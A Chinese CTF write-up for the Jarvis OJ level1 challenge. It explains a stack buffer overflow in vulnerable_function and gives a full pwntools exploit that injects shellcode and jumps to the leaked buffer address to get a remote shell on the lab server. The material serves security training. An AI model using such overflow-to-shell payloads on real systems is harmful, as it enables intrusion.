Jarvis OJ [XMAN]level1 write up
首先
老规矩,把软件拖到Ubuntu里checksec一下文件

然后知道了软件位数就放到IDA32里面。。。


熟悉的函数名。。。
缘真的妙不可言。。。
然后看了下vulnerable_function函数的栈结构


算了下
vulnerable_function中的read函数准备给buf 0x100的空间
但是buf却用了0x88+0x4就结束了vulnerable_function函数。。
(0x88 + 0x4)<(0x100)
所以这里出现了栈溢出
但是,我F12+Shift一下却没发现有getshell的函数。。。

别慌,问题不大。。
自己构造shellcode
当然用万能的pwntools啦。。
不可能手工pwn的,这辈子都不可能。
漏洞利用
把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode
利用代码:
from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode = asm(shellcraft.sh()) #shellcraft 提供了很多现成shellcode,当然要翻译成asm格式的
io = remote("pwn2.jarvisoj.com",9877) #要攻击的目标机 buffer = io.recvline()[14:-2]
buf_addr = int(buffer,16)
payload = shellcode + '\x90'*(0x88+0x4-len(shellcode)) + p32(buf_addr) #p32是打包数据库
io.send(payload)
io.interactive()
io.close()
最后
pwntools的简单入门可以百度pwntools,看下别人整理的笔记。
Jarvis OJ [XMAN]level1 write up的更多相关文章
- Jarvis OJ - [XMAN]level1 - Writeup
Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...
- Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用
100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...
- Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试
这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...
- Jarvis OJ - [XMAN]level2 - Writeup
简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...
- Jarvis OJ - [XMAN]level0 - Writeup
差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛 开工 丢到id ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- Jarvis OJ - class10 -Writeup
Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道 ...
- Jarvis OJ - 软件密码破解-1 -Writeup
Jarvis OJ - 软件密码破解-1 -Writeup 转载请标明出处http://www.cnblogs.com/WangAoBo/p/7243801.html 记录这道题主要是想记录一下动态调 ...
- Jarvis OJ - DD-Hello -Writeup
Jarvis OJ - DD-Hello -Writeup 转载请注明出处http://www.cnblogs.com/WangAoBo/p/7239216.html 题目: 分析: 第一次做这道题时 ...
随机推荐
- maven用框架编写网页运行出现HTTP Status 500 - Unable to compile class for JSP
利用maven整合框架的时候,通过浏览器访问时,如果出现 HTTP 500-Unable to compile class for JSP 的错误,应该怎么解决呢? 之前在网上看了好多人的解决方案. ...
- 在C 与 C++混编中, 出现error LNK2019: 无法解析的外部符号 "int __cdecl main_(int,char * *)" (?main_@@YAHHPEAPEAD@Z),该符号在函数 main 中被引用
main_ 这个函数的头文件 应该做标准化输出 : extern "C" int main_(int argc, char **argv);
- 安装 Tesserocr (填坑)
参考: https://www.imooc.com/article/45278?block_id=tuijian_wz
- python之路--模块和包
一 . 模块 ⾸先,我们先看⼀个老⽣常谈的问题. 什么是模块. 模块就是⼀个包含了python定义和声明的⽂件, ⽂件名就是模块的名字加上.py后缀. 换句话说我们⽬前写的所有的py⽂件都可以看成是⼀ ...
- django rest framework权限和认证
Django rest framework之权限 一.Authentication用户认证配置 1.四种验证及官网描述: BasicAuthentication 此身份验证方案使用HTTP基本身份验证 ...
- pycharm 安装
pycharm 1.模板 file->setting->Editor->file and code template->python script->右上方 #!/usr ...
- Servlet的cookie使用,500报错,tomcat和cookie语法不兼容解决
出现类似上图的错误,应该是tomcat和cookie的语法不兼容 cookie不要用逗号","作分隔符,换井号#试试就可以了
- qtp 自动化测试--点滴 自定义显示工具菜单 trzedit
tools-customize-toolbars-勾选后关闭 2 trzedit 使用winobject 方法取值 Window("驷惠WIN系列[汽车4S连锁管理软件] 6.") ...
- Ubuntu install flash
Software&Updates - Other Software - Canonical Parners sudo apt install adobe-flashplugin
- 集成Javascript Logging on MVC or Core
ASP.NET Core provides us a rich Logging APIs which have a set of logger providers including: Console ...